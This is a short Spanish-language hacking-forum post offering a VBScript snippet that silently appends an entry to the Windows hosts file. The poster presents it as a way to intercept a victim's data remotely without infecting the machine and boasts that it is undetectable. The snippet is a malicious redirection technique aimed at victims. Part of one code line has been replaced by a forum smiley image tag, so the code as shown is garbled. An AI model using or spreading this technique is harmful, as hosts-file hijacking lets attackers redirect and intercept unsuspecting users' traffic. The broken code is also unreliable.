HOLA!!!
En este ejemplo se muestra como escribir una linea en el archivo de hosts, lo cual puede ser muy practico ya que con esto podemos interceptar datos a distancia sin infectar directamente la pc victima.
Dim objFileSystem, objOutputFile
On Error Resume next
Set objFileSystem = CreateObject("Scripting.fileSystemObject")
Set objOutputFile = objFileSystem.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts", <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8)" title="Cool" class="smiley" />
objOutputFile.WriteLine VbCrLf & "127.0.0.1 asd #asd"
objOutputFile.Close
Y obviamente FUD.

GRACIAS POR LEER!!!